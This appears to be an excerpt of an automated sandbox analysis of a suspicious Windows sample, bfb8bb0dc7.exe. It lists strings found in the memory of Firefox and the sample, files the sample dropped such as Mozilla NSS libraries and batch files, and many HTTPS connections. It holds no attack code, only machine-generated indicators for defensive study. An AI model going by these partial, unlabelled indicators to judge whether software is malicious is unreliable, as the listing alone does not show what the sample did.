Source: firefox.exe, 00000016.00000003.3237228102.000001894493B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3247725111.0000018945FEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000016.00000003.3052251942.00000189379E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3065918902.0000018935054000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2971003570.00000189379E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3162423030.00000189379E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2886717838.00000189379E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3364837586.00000189417D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: JKJDHDBKEBGHJJJJKEHDHJJEGH.11.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000016.00000003.3243875790.0000018945979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3243875790.0000018945966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: JKJDHDBKEBGHJJJJKEHDHJJEGH.11.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000016.00000003.3066184197.00000189337DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2988020236.00000189337DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000016.00000003.3364719178.0000018941B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000016.00000003.3359286606.0000018944562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 00000016.00000003.3234505370.000001894487D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000016.00000003.3231288925.0000018944623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000016.00000003.3234505370.000001894487D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000016.00000003.3364719178.0000018941B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A6B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2993742632.0000018932761000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.22.dr, JEHIJDGIEBKKFHJKJKEG.11.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2831875013.0000018935307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3397921737.00000189470CB000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: bfb8bb0dc7.exe, 0000000B.00000002.3112755624.0000000022C00000.00000004.00000020.00020000.00000000.sdmp, BGCAFHCA.11.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000016.00000003.3165953939.0000018937989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000016.00000003.2840438082.000001893534A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2826493925.0000018935100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2835272663.0000018935329000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2831875013.0000018935307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: BGCAFHCA.11.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2826493925.0000018935100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2835272663.0000018935329000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2831875013.0000018935307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000016.00000003.3266971339.0000018946032000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 00000016.00000003.3234505370.000001894487D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000016.00000003.3165953939.0000018937995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3056415593.0000018937995000.00000004.00000800.00020000.00000000.sdmp, JKJDHDBKEBGHJJJJKEHDHJJEGH.11.dr	String found in binary or memory: https://www.mozilla.org
Source: JKJDHDBKEBGHJJJJKEHDHJJEGH.11.dr	String found in binary or memory: https://www.mozilla.org#
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp, firefox.exe, 00000016.00000003.3243875790.0000018945979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3243875790.0000018945966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JKJDHDBKEBGHJJJJKEHDHJJEGH.11.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 00000016.00000003.3238318246.0000018944973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3238184718.0000018944981000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3236687144.000001894496F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3237228102.000001894493B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/xe
Source: firefox.exe, 00000016.00000003.3401318781.000001894708A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/anything/?
Source: bfb8bb0dc7.exe, 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmp, firefox.exe, 00000016.00000003.3243875790.0000018945979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3243875790.0000018945966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JKJDHDBKEBGHJJJJKEHDHJJEGH.11.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: JKJDHDBKEBGHJJJJKEHDHJJEGH.11.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000016.00000003.3253863845.0000018937281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: firefox.exe, 00000016.00000003.3061487609.0000018937842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2883723523.00000189387A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2969179512.00000189387A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000016.00000003.3364719178.0000018941B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000016.00000003.3359286606.0000018944562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A6B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2993742632.0000018932761000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.22.dr, JEHIJDGIEBKKFHJKJKEG.11.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3162211301.0000018937D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 00000016.00000003.3364719178.0000018941B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000002B.00000002.3012524075.0000020633CB0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3015381995.0000020633FA4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3015863881.0000020634003000.00000004.00000800.00020000.00000000.sdmp, 4B78.bat.37.dr, F1CF.bat.12.dr	String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 00000013.00000002.2813219119.000001729F300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account--attempting-deelevation
Source: firefox.exe, 0000002B.00000002.3012524075.0000020633CB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountC:
Source: firefox.exe, 0000002A.00000002.3012330529.00000197D9F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountJ
Source: firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
Source: firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountNUMB
Source: firefox.exe, 0000002B.00000002.3012524075.0000020633CB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountO
Source: firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountUSERDO
Source: firefox.exe, 00000011.00000002.2786986644.00000271F8EA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3013910159.00000197DA1B0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012330529.00000197D9F10000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3013910159.00000197DA1B4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3015090796.0000020633E70000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3012524075.0000020633CB0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3015381995.0000020633FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=e
Source: firefox.exe, 0000002B.00000002.3012524075.0000020633CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountr
Source: firefox.exe, 00000011.00000002.2786986644.00000271F8E79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountwm
Source: firefox.exe, 00000016.00000003.3162211301.0000018937D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comweave:service:start-over
Source: firefox.exe, 00000016.00000003.2979236204.00000189388BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000016.00000003.3171769627.00000189378A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3061645341.00000189377B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000016.00000003.3063219803.000001893777D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3173454403.000001893777D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3073028344.00000189317DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2890156235.000001893777D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 63514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58978
Source: unknown	Network traffic detected: HTTP traffic on port 59316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58976
Source: unknown	Network traffic detected: HTTP traffic on port 59099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59157
Source: unknown	Network traffic detected: HTTP traffic on port 59313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63649
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59314
Source: unknown	Network traffic detected: HTTP traffic on port 59124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58980
Source: unknown	Network traffic detected: HTTP traffic on port 59015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59152
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59319
Source: unknown	Network traffic detected: HTTP traffic on port 63460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59316
Source: unknown	Network traffic detected: HTTP traffic on port 59130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59169
Source: unknown	Network traffic detected: HTTP traffic on port 59087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59167
Source: unknown	Network traffic detected: HTTP traffic on port 59165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59320
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59160
Source: unknown	Network traffic detected: HTTP traffic on port 58979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59162
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63653
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63391
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58996
Source: unknown	Network traffic detected: HTTP traffic on port 59078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59333
Source: unknown	Network traffic detected: HTTP traffic on port 59168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59331
Source: unknown	Network traffic detected: HTTP traffic on port 63653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 59084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 58976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59319 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59102
Source: unknown	Network traffic detected: HTTP traffic on port 59118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59101
Source: unknown	Network traffic detected: HTTP traffic on port 59033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59100
Source: unknown	Network traffic detected: HTTP traffic on port 59081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 63453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59106
Source: unknown	Network traffic detected: HTTP traffic on port 63518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59078
Source: unknown	Network traffic detected: HTTP traffic on port 59034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63461
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63460
Source: unknown	Network traffic detected: HTTP traffic on port 59317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59117
Source: unknown	Network traffic detected: HTTP traffic on port 59098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59124
Source: unknown	Network traffic detected: HTTP traffic on port 59169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63459
Source: unknown	Network traffic detected: HTTP traffic on port 59123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59084
Source: unknown	Network traffic detected: HTTP traffic on port 59320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63453
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63455
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59082
Source: unknown	Network traffic detected: HTTP traffic on port 59102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63457
Source: unknown	Network traffic detected: HTTP traffic on port 63459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59015
Source: unknown	Network traffic detected: HTTP traffic on port 59119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59099
Source: unknown	Network traffic detected: HTTP traffic on port 59315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59131
Source: unknown	Network traffic detected: HTTP traffic on port 59032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59096
Source: unknown	Network traffic detected: HTTP traffic on port 63391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63514
Source: unknown	Network traffic detected: HTTP traffic on port 59312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59023
Source: unknown	Network traffic detected: HTTP traffic on port 63652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59100 -> 443

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.95.31.18:443 -> 192.168.2.6:58976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.6:58977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:58978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.6:58979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.6:58980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:59007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:59023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:59033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.76:443 -> 192.168.2.6:59081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.6:59082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.6:59084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.6:59086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:59087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.6:59102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:59101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.65.39.85:443 -> 192.168.2.6:59100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59152 version: TLS 1.2
